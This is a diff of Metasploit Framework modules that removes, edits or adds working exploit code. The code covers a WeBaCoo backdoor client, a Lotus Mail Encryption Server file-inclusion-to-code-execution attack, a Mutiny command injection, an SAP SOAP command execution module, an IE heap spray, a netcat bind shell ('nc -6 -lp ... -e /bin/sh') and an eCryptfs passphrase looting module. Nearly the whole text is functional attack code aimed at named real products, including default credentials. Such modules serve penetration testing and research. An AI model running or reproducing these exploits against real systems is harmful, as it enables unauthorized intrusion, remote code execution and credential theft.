exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
when 'windows'
@payload_exe = "./#{@payload_exe}.exe"
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
else
fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!')
end
#Now with all the arch specific stuff set, perform the upload.
#109 = length of command string plus the max length of append.
sub_from_chunk = 109 + @payload_exe.length + datastore['TARGETURI'].length + datastore['PARAMETER'].length
chunk_length = 2048 - sub_from_chunk
chunk_length = ((chunk_length/4).floor)*3
while pl_exe.length > chunk_length
java_upload_part(pl_exe[0,chunk_length],@payload_exe,append)
pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
append = true
end
java_upload_part(pl_exe,@payload_exe,append)
execute_command(chmod_cmd) if target['Platform'] == 'linux'
execute_command(exec_cmd)
register_files_for_cleanup(@payload_exe)
end
def java_upload_part(part, filename, append = 'false')
cmd = ""
cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
cmd << "#f.close()"
execute_command(cmd)
end
def check
sleep_time = datastore['CHECK_SLEEPTIME']
check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
t1 = Time.now
print_status("Asking remote server to sleep for #{sleep_time} seconds")
response = execute_command(check_cmd)
t2 = Time.now
delta = t2 - t1
if response.nil?
return Exploit::CheckCode::Safe
elsif delta < sleep_time
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Appears
end
end
end

View File

@ -1,148 +0,0 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'WeBaCoo Backdoor Exploit',
'Description' => %q{
WeBaCoo (Web Backdoor Cookie) is a web backdoor script-kit, aiming to provide a
stealth terminal-like connection over HTTP between client and web server. Using
this exploit module you can interact with the backdoor server without using WeBaCoo
terminal mode to establish the communication channel.
},
'Author' => [ 'A. Bechtsoudis <anestis [at] bechtsoudis.com>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://github.com/anestisb/WeBaCoo' ],
[ 'URL', 'https://bechtsoudis.com/webacoo/' ]
],
'Privileged' => false,
'Platform' => ['unix','linux'],
'Arch' => ARCH_CMD,
'Payload' =>
{
# max HTTP header length
'Space' => 8190,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby python netcat netcat-e bash'
},
},
'DisclosureDate' => 'Nov 29 2011',
'Targets' => [ ['Automatic', { }] ],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [ true, "WeBaCoo backdoor path", '/index.php']),
OptString.new('COOKIE', [ true, "Cookie name to use", 'M-Cookie'])
], self.class)
end
def check
cookie = datastore['COOKIE']
# generate a random string for a test echo command
rstr = rand_text_alphanumeric(6)
# base64 encode the command
command = Rex::Text.encode_base64("echo '#{rstr}'")
# random delimiter used to wrap the server's response
delim = rand_string(4)
# form the cookie that will tranfer the payload
# details about backdoor communication model at:
# https://github.com/anestisb/WeBaCoo/wiki/Documentation
cookie = "cm=#{command}; cn=#{cookie}; cp=#{delim}"
print_status("Checking target URI for backdoor access.")
response = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'cookie' => cookie
})
# server response validation
if response and response.code == 200
# retrieve the HTTP response cookie sets
res_cookie = Rex::Text.uri_decode(response.headers['Set-Cookie'])
if res_cookie
# obtain the command output substring wrapped between delimiters
cmd_res = *(/#{delim}(.*)#{delim}/.match(res_cookie))
# decode command output
cmd_res = Rex::Text.decode_base64(cmd_res[1]).chomp! unless cmd_res.nil?
if cmd_res == rstr
return Exploit::CheckCode::Vulnerable
else
print_error("Server did not responded with expected cookie values.")
return Exploit::CheckCode::Safe
end
else
print_error("Server did not responded with a Set-Cookie in header.")
return Exploit::CheckCode::Safe
end
end
print_error("Server responded with #{response.code}.") unless response.nil?
return Exploit::CheckCode::Safe
end
def exploit
cookie = datastore['COOKIE']
print_status("Sending payload via HTTP header cookie")
# generate a random delimiter
delim = rand_string(4)
# form the payload cookie carrier
cookie = "cm=" + Rex::Text.encode_base64(payload.encoded) + "; cn=#{cookie}; cp=#{delim}"
response = send_request_raw({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'cookie' => cookie
})
# in case of custom command payload the server's response is captured and printed
if datastore['PAYLOAD'] == 'cmd/unix/generic' and response and response.code == 200
# retrieve the HTTP response cookie sets
res_cookie = URI.decode(response.headers['Set-Cookie'])
if res_cookie
# obtain the command output substring wrapped between delimiters
cmd_res = *(/#{delim}(.*)#{delim}/.match(res_cookie))
# decode command output
cmd_res = Rex::Text.decode_base64(cmd_res[1]).chomp! unless cmd_res.nil?
print_good("Server responed with:\n#{cmd_res}")
end
end
end
# Generate a random string with one base64 non-valid character
def rand_string(length=8)
# Base64 valid characters
vchars = ('a'..'z').to_a + ('A'..'Z').to_a + ('0'..'9').to_a
# Base64 non-valid characters
nvchars = (['!','@','#','%','&','*','?','~']).to_a
str=''
(length-1).times{ str << vchars[rand(vchars.size)] }
return str + nvchars[rand(nvchars.size)]
end
end

View File

@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet netcat netcat-e bash'
'RequiredCmd' => 'generic perl telnet netcat netcat-e bash',
}
},
'Platform' => 'unix',

View File

@ -1,105 +0,0 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::PHPInclude
def initialize(info = {})
super(update_info(info,
'Name' => 'Lotus Mail Encryption Server (Protector for Mail) Local File Inclusion',
'Description' => %q{
This module exploits a local file inclusion vulnerability in the Lotus Mail
Encryption Server (Protector for Mail Encryption) administration interface. The
index.php file uses an unsafe include() where an unauthenticated remote user may
read (traversal) arbitrary file contents. By abusing a second bug within Lotus,
payload can be injected into a known location, and call it via the LFI to gain
remote code execution. This module has been tested successfully on version 2.1.0.1
Build(88.3.0.1.4323). DATE could be needed when there are UTC timezone differences
between the remote host and the metasploit instance. In this case, the format is
YYYY-MM-DD.
},
'Author' => [ 'patrick' ],
'License' => MSF_LICENSE,
'References' =>
[
#[ 'URL', 'http://www.osisecurity.com.au/advisories/' ], #0day
#[ 'CVE', 'X' ],
#[ 'OSVDB', 'X'],
#[ 'BID', 'X' ],
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Lotus Mail Encryption Server 2.1.0.1', { }]],
'DisclosureDate' => 'Nov 9 2012',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(9000),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new("DATE", [false, 'The date of the target system log file in YYYY-MM-DD format']),
], self.class)
end
def check
res = send_request_cgi( { 'uri' => '/' })
if (res.code == 302 && res.body.match(/GetLoginScreen.uevent/))
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def php_exploit
logfile = (datastore['DATE'] and not datastore['DATE'].empty?) ? datastore['DATE'] : Time.now.strftime("%Y-%m-%d")
if (logfile !~ /\d\d\d\d-\d\d-\d\d/) # if set by user datastore...
fail_with(Exploit::Failure::BadConfig, "DATE is in incorrect format (use 'YYYY-MM-DD'). Unable to continue.")
end
# set up the initial log file RCE - this is unescaped ascii so we can execute it
# later >:) uid is tomcat so we cannot read apache's logs, and we are stuck inside
# tomcat's php-cgi wrapper which prevents /proc/* injection and a lot of the
# filesystem. example good injected log: '/var/log/ovid/omf-2012-08-01.log' patrick
inject_url = "/omc/GetSetupScreen.event?setupPage=<?php+include+'#{php_include_url}';+?>" # no whitespace
print_status("Trying to inject payload in logfiles...")
res = send_request_cgi( { 'uri' => inject_url })
if (res and res.code == 404 and res.body.match(/Lotus Protector for Mail Encryption - Page Not Found/)) # it returns a 404 but this is good.
print_good("Payload injected!")
else
if res
print_status "#{res.code}"
print_status "#{res.body}"
end
fail_with(Exploit::Failure::UnexpectedReply, "Failed to inject payload in logfiles")
end
print_status("Executing payload!")
response = send_request_cgi({
'uri' => '/omc/pme/index.php',
'cookie' => "slaLANG=../../../../../../var/log/ovid/omf-#{logfile}.log%00;", # discard .php
})
if response
print_status "#{response.code}"
print_status "#{response.body}"
else
print_status "no response"
end
end
end

View File

@ -1,167 +0,0 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Mutiny Remote Command Execution',
'Description' => %q{
This module exploits an authenticated command injection vulnerability in the
Mutiny appliance. Versions prior to 4.5-1.12 are vulnerable. This module has been
tested successfully on Mutiny 4.2-1.05.
},
'Author' =>
[
'Christopher Campbell', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2012-3001'],
['OSVDB', '86570'],
['BID', '56165'],
['US-CERT-VU', '841851'],
['URL', 'http://obscuresecurity.blogspot.com.es/2012/10/mutiny-command-injection-and-cve-2012.html']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 4000,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl python telnet',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Oct 22 2012',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [ true, 'The base path to Mutiny', '/interface/' ]),
OptString.new('USERNAME', [ true, 'The user to authenticate as', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'mutiny' ])
], self.class)
end
def peer
"#{rhost}:#{rport}"
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'logon.jsp'),
})
if res and res.body =~ /: Mutiny : Login @ mutiny/
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def exploit
print_status("#{peer} - Login with the provided credentials...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'logon.do'),
'vars_post' =>
{
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
})
if res and res.code == 302 and res.headers['Location'] =~ /index.do/ and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
print_good("#{peer} - Login successful")
session = $1
else
fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to login in Mutiny")
end
print_status("#{peer} - Leaking current Network Information...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'cgi-bin', 'netconfig'),
'cookie' => "JSESSIONID=#{session}",
})
if res and res.code == 200 and res.body =~ /Ethernet Interfaces/
adress_eth0 = (res.body =~ /<input type="text" value="(.*)" name="addresseth0" class="textInput" \/>/ ? $1 : "")
@netmask_eth0 = (res.body =~ /<input type="text" value="(.*)" name="netmasketh0" class="textInput" \/>/ ? $1 : "")
gateway = (res.body =~ /<input type="text" name="Gateway" value= "(.*)" class="textInput">/ ? $1 : "")
dns_address = (res.body =~ /<input type="text" value="(.*)" name="dnsaddress0" class="textInput">/ ? $1 : "")
static_route_address = (res.body =~ /<input class="textInput" type="text" name="staticRouteAddress" value="(.*)" \/>/ ? $1 : "")
static_route_netmask = (res.body =~ /<input class="textInput" type="text" name="staticRouteNetmask" value="(.*)" \/>/ ? $1 : "")
static_route_gateway = (res.body =~ /<input class="textInput" type="text" name="staticRouteGateway" value="(.*)" \/>/ ? $1 : "")
print_good("#{peer} - Information leaked successfully")
else
print_error("#{peer} - Error leaking information, trying to exploit with random values")
end
print_status("#{peer} - Exploiting Command Injection...")
injection = @netmask_eth0.dup || rand_text_alpha(5 + rand(3))
injection << "; #{payload.encoded} #"
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'cgi-bin', 'netconfig'),
'cookie' => "JSESSIONID=#{session}",
'vars_post' =>
{
"addresseth0" => adress_eth0 || rand_text_alpha(5 + rand(3)),
"netmasketh0" => injection,
"Gateway" => gateway || rand_text_alpha(5 + rand(3)),
"dnsaddress0" => dns_address || rand_text_alpha(5 + rand(3)),
"staticRouteAddress" => static_route_address || rand_text_alpha(5 + rand(3)),
"staticRouteNetmask" => static_route_netmask || rand_text_alpha(5 + rand(3)),
"staticRouteGateway" => static_route_gateway || rand_text_alpha(5 + rand(3))
}
})
if @netmask_eth0
print_status("#{peer} - Restoring original values...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'cgi-bin', 'netconfig'),
'cookie' => "JSESSIONID=#{session}",
'vars_post' =>
{
"addresseth0" => adress_eth0,
"netmasketh0" => @netmask_eth0,
"Gateway" => gateway,
"dnsaddress0" => dns_address,
"staticRouteAddress" => static_route_address,
"staticRouteNetmask" => static_route_netmask,
"staticRouteGateway" => static_route_gateway
}
})
if res and res.code == 200 and res.body =~ /messageSuccess/
print_good("#{peer} - Original values successfully restored")
else
print_error("#{peer} - Error restoring original values")
end
end
end
end

View File

@ -217,12 +217,12 @@ class Metasploit3 < Msf::Exploit::Remote
@swf = create_swf
@resource_name = Rex::Text.rand_text_alpha(5)
vprint_status("SWF Loaded: #{@swf.length.to_s} bytes")
=begin
datastore['URIPATH'] = datastore['URIPATH'] || random_uri
datastore['URIPATH'] = '/' + datastore['URIPATH'] if datastore['URIPATH'] !~ /^\//
datastore['URIPATH'] = datastore['URIPATH'][0,3] if datastore['URIPATH'].length > 3
vprint_status("URIPATH set to #{datastore['URIPATH']}")
=end
print_warning("URIPATH set to #{datastore['URIPATH']}")
super
end

View File

@ -83,8 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote
elsif (agent =~ /MSIE 6\.0/ && agent =~ /Windows NT 5\.0/)
mytarget = targets[1] # IE6 on 2000
else
print_error("Unknown User-Agent #{agent}, sending 404.")
cli.send_response(create_response(404, 'File not found'))
print_error("Unknown User-Agent #{agent}")
end
mytarget
@ -92,11 +91,11 @@ class Metasploit3 < Msf::Exploit::Remote
def on_request_uri(cli, request)
if (mytarget = auto_target(cli, request))
var_title = rand_text_alpha(rand(100) + 1)
func_main = rand_text_alpha(rand(100) + 1)
mytarget = auto_target(cli, request)
var_title = rand_text_alpha(rand(100) + 1)
func_main = rand_text_alpha(rand(100) + 1)
heapspray = ::Rex::Exploitation::JSObfu.new %Q|
heapspray = ::Rex::Exploitation::JSObfu.new %Q|
function heapspray()
{
shellcode = unescape('#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
@ -184,12 +183,11 @@ function #{func_main}()
</html>
|
print_status("Sending #{self.name}")
# Transmit the compressed response to the client
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })
print_status("Sending #{self.name}")
# Transmit the compressed response to the client
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })
# Handle the payload
handler(cli)
end
# Handle the payload
handler(cli)
end
end

View File

@ -39,8 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
[
[ 'CVE', '2009-0075' ],
[ 'OSVDB', '51839' ],
[ 'MSB', 'MS09-002' ],
[ 'BID', '33627' ]
[ 'MSB', 'MS09-002' ]
],
'DefaultOptions' =>
{

View File

@ -1,76 +0,0 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell File Reporter NFRAgent.exe XML Parsing Remote Code Execution Vulnerability',
'Description' => %q{
This module exploits a buffer overflow....
},
'Author' => [
'Stephen Fewer', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => [ 'win' ],
'Privileged' => true,
'References' =>
[
[ 'CVE', '2011-0994' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-167/' ]
],
'Payload' =>
{
'Space' => 1000,
'BadChars' => "",
'StackAdjustment' => -3500,
},
'Targets' =>
[
['Windows XP SP3 / NFR Agent 1.0.3.22', { }],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 04 2011'
))
register_options(
[
Opt::RPORT(2037)
], self.class )
end
def exploit
data = "FD97A41459FD495A43E3BF922B40DB23<RECORD><NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>103</CMD><PATH>c:\\boot.ini</PATH></RECORD>"
print_status("Uploading the payload via a POST request...")
res = send_request_cgi(
{
'uri' => '/FSF/CMD',
'version' => '1.1',
'method' => 'POST',
'ctype' => "text/xml",
'data' => data,
}, 5)
if res
print_status("#{res.code}\n#{res.body}")
else
print_status("no response!")
#fail_with(Exploit::Failure::Unknown, 'POST failed')
end
end
end

View File

@ -1,132 +0,0 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
##
# This module is based on, inspired by, or is a port of a plugin available in
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
# http://www.onapsis.com/research-free-solutions.php.
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
# in producing the Metasploit modules and was happy to share his knowledge and
# experience - a very cool guy.
#
# The following guys from ERP-SCAN deserve credit for their contributions -
# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
# Dmitry Evdokimov.
#
# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
# who have Beta tested the modules and provided excellent feedback. Some people
# just seem to enjoy hacking SAP :)
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
def initialize
super(
'Name' => 'SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXECUTE Function Command Execution',
'Description' => %q{
This module makes use of the SXPG_COMMAND_EXECUTE Remote Function Call, through the
use of the /sap/bc/soap/rfc SOAP service to execute OS commands as configured in
the SM69 transaction.
},
'References' =>
[
[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]
],
'DisclosureDate' => 'March 26 2013',
'Platform' => 'win',
'Arch' => ARCH_X86,
'Targets' => [
[ 'Windows Universal', {}]
],
'DefaultTarget' => 0,
'Privileged' => true,
'Author' =>['nmonkee'],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(8000),
OptString.new('CLIENT', [true, 'SAP Client', '001']),
OptString.new('USERNAME', [true, 'Username', 'SAP*']),
OptString.new('PASSWORD', [true, 'Password', '06071992']),
OptString.new('CMD', [true, 'SM69 command to be executed', nil]),
OptEnum.new('OS', [true, 'SM69 Target OS','ANYOS',['ANYOS','Windows NT']])
], self.class)
register_advanced_options(
[
OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments', 250]),
], self.class)
end
def exploit
linemax = datastore['PAYLOAD_SPLIT']
print_status("Using custom payload size of #{linemax}") if linemax != 250
print_status("[SAP] #{rhost}:#{rport} - sending SOAP SXPG_COMMAND_EXECUTE request")
execute_cmdstager({ :delay => 0.35, :linemax => linemax })
handler(nil)
end
def execute_command(cmd, opts)
command = cmd.gsub(/&/,'&amp;')
os = datastore['OS']
data = '<?xml version="1.0" encoding="utf-8" ?>'
data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
data << '<env:Body>'
data << '<n1:SXPG_COMMAND_EXECUTE xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">'
data << '<ADDITIONAL_PARAMETERS>&amp;' + command.to_s + '</ADDITIONAL_PARAMETERS>'
data << '<COMMANDNAME>' + datastore['CMD'] + '</COMMANDNAME>'
data << '<OPERATINGSYSTEM>' + os +'</OPERATINGSYSTEM>'
data << '<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>'
data << '</n1:SXPG_COMMAND_EXECUTE>'
data << '</env:Body>'
data << '</env:Envelope>'
begin
res = send_request_cgi({
'uri' => '/sap/bc/soap/rfc',
'method' => 'POST',
'data' => data,
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
'ctype' => 'text/xml; charset=UTF-8',
'headers' => {
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
},
'vars_get' => {
'sap-client' => datastore['CLIENT'],
'sap-language' => 'EN'
}
})
if res and res.code != 500 and res.code != 200
# to do - implement error handlers for each status code, 404, 301, etc.
print_error("[SAP] #{rhost}:#{rport} - something went wrong!")
return
elsif res and res.body =~ /faultstring/
error = res.body.scan(%r{<faultstring>(.*?)</faultstring>})
0.upto(error.length-1) do |i|
print_error("[SAP] #{rhost}:#{rport} - error #{error[i]}")
end
return
elsif res and res.code == 200
return
else
print_error("[SAP] #{rhost}:#{rport} - Unknown error")
return
end
rescue ::Rex::ConnectionError
print_error("[SAP] #{rhost}:#{rport} - Unable to connect")
return
end
end
end

View File

@ -17,21 +17,16 @@ module Metasploit3
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Bind TCP (via netcat) IPv6',
'Name' => 'Unix Command Shell, Bind TCP (via netcat -e) IPv6',
'Description' => 'Listen for a connection and spawn a command shell via netcat',
'Author' =>
[
'hdm', # Original netcat -e payload
'm-1-k-3', # netcat payload
'egypt' # Payloads merge
],
'Author' => 'hdm',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'netcat',
'RequiredCmd' => 'netcat-e',
'Payload' =>
{
'Offsets' => { },
@ -51,11 +46,7 @@ module Metasploit3
# Returns the command string to use for execution
#
def command_string
backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
command = "(nc -6 -l -p #{datastore['LPORT']} -e /bin/sh 2>/dev/null) ||"
command << "(mknod /tmp/#{backpipe} p; nc -6 -l #{datastore['LPORT']} 0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe})"
return command
"nc -6 -lp #{datastore['LPORT']} -e /bin/sh"
end
end

View File

@ -0,0 +1,73 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/unix'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Common
include Msf::Post::Unix
def initialize(info={})
super( update_info(info,
'Name' => 'Gather eCryptfs Metadata',
'Description' => %q{
This module will grab the contents of user's .ecrypts directory on
the targeted machine. Grabbed "wrapped-passphrase" files can be
cracked with JtR to get "mount passphrases".
},
'License' => MSF_LICENSE,
'Author' => ['Dhiru Kholia <dhiru[at]openwall.com>'],
'Platform' => ['linux'],
'SessionTypes' => ['shell']
))
end
# This module is largely based on ssh_creds, gpg_creds and firefox_creds.rb.
def run
print_status("Finding .ecryptfs directories")
paths = enum_user_directories.map {|d| d + "/.ecryptfs"}
# Array#select! is only in 1.9
paths = paths.select { |d| directory?(d) }
if paths.nil? or paths.empty?
print_error("No users found with a .ecryptfs directory")
return
end
download_loot(paths)
end
def download_loot(paths)
print_status("Looting #{paths.count} directories")
paths.each do |path|
path.chomp!
sep = "/"
files = cmd_exec("ls -1 #{path}").split(/\r\n|\r|\n/)
files.each do |file|
target = "#{path}#{sep}#{file}"
if directory?(target)
next
end
print_status("Downloading #{path}#{sep}#{file} -> #{file}")
data = read_file(target)
file = file.split(sep).last
loot_path = store_loot("ecryptfs.#{file}", "text/plain", session, data,
nil, "eCryptfs #{file} File")
print_good("File stored in: #{loot_path.to_s}")
end
end
end
end

View File

@ -89,7 +89,7 @@ class Metasploit3 < Msf::Post
# method for Checking if database instances are installed on host - mssql
def check_mssql
key = "HKLM\\SOFTWARE\\Microsoft"
if (registry_enumkeys(key) || '').include?("Microsoft SQL Server")
if registry_enumkeys(key).include?("Microsoft SQL Server")
print_status("\tMicrosoft SQL Server found.")
return true
end
@ -101,13 +101,13 @@ class Metasploit3 < Msf::Post
# method for Checking if database instances are installed on host - oracle
def check_oracle
key = "HKLM\\SOFTWARE\\Oracle"
if (registry_enumkeys(key) || '').include?("ALL_HOMES")
if registry_enumkeys(key).include?("ALL_HOMES")
print_status("\tOracle Server found.")
return true
elsif (registry_enumkeys(key) || '').include?("SYSMAN")
elsif registry_enumkeys(key).include?("SYSMAN")
print_status("\tOracle Server found.")
return true
elsif (registry_enumkeys(key) || '').include?("KEY_XE")
elsif registry_enumkeys(key).include?("KEY_XE")
print_status("\tOracle Server found.")
return true
end
@ -119,7 +119,7 @@ class Metasploit3 < Msf::Post
# method for Checking if database instances are installed on host - db2
def check_db2
key = "HKLM\\SOFTWARE\\IBM\\DB2"
if (registry_enumkeys(key) || '').include?("GLOBAL_PROFILE")
if registry_enumkeys(key).include?("GLOBAL_PROFILE")
print_status("\tDB2 Server found.")
return true
end
@ -131,7 +131,7 @@ class Metasploit3 < Msf::Post
# method for Checking if database instances are installed on host - mysql
def check_mysql
key = "HKLM\\SOFTWARE"
if (registry_enumkeys(key) || '').include?("MySQL AB")
if registry_enumkeys(key).include?("MySQL AB")
print_status("\tMySQL Server found.")
return true
end
@ -143,10 +143,10 @@ class Metasploit3 < Msf::Post
# method for Checking if database instances are installed on host - sybase
def check_sybase
key = "HKLM\\SOFTWARE\\Sybase"
if (registry_enumkeys(key) || '').include?("SQLServer")
if registry_enumkeys(key).include?("SQLServer")
print_status("\tSybase Server found.")
return true
elsif (registry_enumkeys(key) || '').include?("Server")
elsif registry_enumkeys(key).include?("Server")
print_status("\tSybase Server found.")
return true
end
@ -165,7 +165,7 @@ class Metasploit3 < Msf::Post
if not instances.nil? and not instances.empty?
instances.each do |i|
tcpkey = "HKLM\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\#{registry_getvaldata(key,i)}\\MSSQLServer\\SuperSocketNetLib\\Tcp\\IPAll"
tcpport = registry_getvaldata(tcpkey,"TcpPort") || ''
tcpport = registry_getvaldata(tcpkey,"TcpPort")
print_good("\t\t+ #{registry_getvaldata(key,i)} (Port:#{tcpport})")
results << ["mssql","instance:#{registry_getvaldata(key,i)} port:#{tcpport}","Microsoft SQL Server",tcpport]
end
@ -204,7 +204,7 @@ class Metasploit3 < Msf::Post
next
end
data_TNSNAMES = read_file(val_ORACLE_HOME + "\\NETWORK\\ADMIN\\tnsnames.ora") || ''
data_TNSNAMES = read_file(val_ORACLE_HOME + "\\NETWORK\\ADMIN\\tnsnames.ora")
if data_TNSNAMES =~ /PORT\ \=\ (\d+)/
port = $1
print_good("\t\t+ #{val_ORACLE_SID} (Port:#{port})")
@ -233,7 +233,7 @@ class Metasploit3 < Msf::Post
end
instances.each do |i|
key = "#{basekey}\\#{i}"
val_location = registry_getvaldata(key,"Location") || ''
val_location = registry_getvaldata(key,"Location")
data = find_mysql_conf(val_location)
@ -254,8 +254,8 @@ class Metasploit3 < Msf::Post
# method to identify sybase instances
def enumerate_sybase
basekey = "HKLM\\SOFTWARE\\Sybase\\SQLServer"
instance = registry_getvaldata(basekey,"DSLISTEN") || ''
location = registry_getvaldata(basekey,"RootDir") || ''
instance = registry_getvaldata(basekey,"DSLISTEN")
location = registry_getvaldata(basekey,"RootDir")
results = []
if not exist?(location + "\\ini\\sql.ini")